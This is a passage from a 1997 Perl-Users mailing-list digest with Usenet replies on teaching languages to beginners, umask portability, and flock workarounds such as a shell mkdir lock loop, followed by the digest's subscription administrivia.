>to start with? Our "authorities" seem to prefer PASCAL, but PASCAL seems to
>be absolutely dead and the first steps in PERL are perhaps easier than the
>first steps in C. Or should I take BASIC (oh horror!)?
One real shortcoming of PERL for teaching beginning programming is that is
not strictly typed. Not to start a variable typing war, /but/ the concept
of typing is actually very useful when learning programming.
PERL is great for many things (I keep finding more of them each day) but
teaching programming isn't one of them. I really would advise PASCAL.
--
Yeah, I've got a homepage. http://www.fastlane.net/~russellm/
Wanna make something of it?
------------------------------
Date: Mon, 15 Dec 1997 13:06:08 -1000
From: Ritchard Shadian <rshadian@hawaii.edu>
Subject: umask portability
Message-Id: <Pine.GSO.3.95q.971215123211.10985C-100000@uhunix3>
I know that mkdir, chdir, etc. are cross-platform functions that will
work even if the system doesn't have like named system calls. But does
anyone know for sure if Perl's umask function has the same portability? A
couple of people I asked said that it should, but they weren't certain and
the Camel book doesn't make it clear either. If someone has access to a
VAX or some other non-traditional system without a umask syscall, could
you perhaps run a short test? Thanks.
Ritchard
------------------------------------------------------------------------------
The reason for the holiday season ain't credit cards and Santa.
*****
------------------------------
Date: Mon, 15 Dec 1997 21:08:31 -0500
From: roy@popmail.med.nyu.edu (Roy Smith)
Subject: Re: Which language pays most 17457 -- C++ vs. Java?
Message-Id: <roy-1512972108320001@mcsv29-p2.med.nyu.edu>
In article <34958D16.190C@gsg.eds.com>, nospam@gsg.eds.com wrote:
> The complexity of the syntax involves a lot more than the number of
> keywords.
Can anybody explain to me why this thread is appearing in nyc.food?
Granted, a lot of code probably gets written in coffee shops and diners,
but that hardly makes programing language syntax complexity an appropriate
topic for nyc.food!
------------------------------
Date: Mon, 15 Dec 1997 18:19:03 -0800
From: Tom Phoenix <rootbeer@teleport.com>
To: Vik Rubenfeld <VikR@aol.com>
Subject: Re: Workaround for FLOCK?/When is FLOCK not supported?
Message-Id: <Pine.GSO.3.96.971215181730.24265D-100000@user2.teleport.com>
On Mon, 15 Dec 1997, Vik Rubenfeld wrote:
> Preferably, finding a way to do something like FLOCK that will work on
> the lowest-common-denominator system.
Can you use the File::Lock module from CPAN? If not, can you fix it so
that it will work for you? :-) Hope this helps!
--
Tom Phoenix http://www.teleport.com/~rootbeer/
rootbeer@teleport.com PGP Skribu al mi per Esperanto!
Randal Schwartz Case: http://www.rahul.net/jeffrey/ovs/
Ask me about Perl trainings!
------------------------------
Date: Mon, 15 Dec 1997 19:08:31 -0800
From: Maurice Cinquini <cinquini@alamar-usa.com>
Subject: Re: Workaround for FLOCK?
Message-Id: <3495F0AF.3374@alamar-usa.nospam.com>
Martien Verbruggen wrote:
>
> In article <3494582E.D135E94D@aol.com>,
> Vik Rubenfeld <VikR@aol.com> writes:
> > I've got a machine that doesn't support FLOCK. (Error message "# The flock()
> > function is unimplemented.") I'd rather not tell my client to update his PERL
Try making a directory based upon the file name. If it succeeds you got
the lock,
if it fails assume someone else has the lock. A similar method works
with
creating a hard link on unix-like systems. The basic idea is to use a
system
call (or one that must eventually wind-up using a OS system call) that
changes the
state of the system and atomically reports success or failure. All
timesharing,
OSes that I want to work with have a call to create a directory thta
reports
success or failure. I assume that its atomic or else the OS wouldn't be
very
robust.
Shell source follows. (I'm embarressed that I don't have the time
to translate it to perl.)
lock=/tmp/my.lock
# Trying to get lock $lock
while { mkdir $lock >/dev/null 2>&1; [ "$?" -ne 0 ]; }; do
sleep 1
done
# Got the lock. Mutex zone here ..
rmdir $lock # Release lock
--Maurice
------------------------------
Date: 8 Mar 97 21:33:47 GMT (Last modified)
From: Perl-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin)
Subject: Digest Administrivia (Last modified: 8 Mar 97)
Message-Id: <null>
Administrivia:
The Perl-Users Digest is a retransmission of the USENET newsgroup
comp.lang.perl.misc. For subscription or unsubscription requests, send
the single line:
subscribe perl-users
or:
unsubscribe perl-users
to almanac@ruby.oce.orst.edu.
To submit articles to comp.lang.perl.misc (and this Digest), send your
article to perl-users@ruby.oce.orst.edu.
To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.
To request back copies (available for a week or so), send your request
to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
where x is the volume number and y is the issue number.
The Meta-FAQ, an article containing information about the FAQ, is
available by requesting "send perl-users meta-faq". The real FAQ, as it
appeared last in the newsgroup, can be retrieved with the request "send
perl-users FAQ". Due to their sizes, neither the Meta-FAQ nor the FAQ
are included in the digest.
The "mini-FAQ", which is an updated version of the Meta-FAQ, is
available by requesting "send perl-users mini-faq". It appears twice
weekly in the group, but is not distributed in the digest.
For other requests pertaining to the digest, send mail to
perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
sending perl questions to the -request address, I don't have time to
answer them even if I did know the answer.
------------------------------
End of Perl-Users Digest V8 Issue 1479
**************************************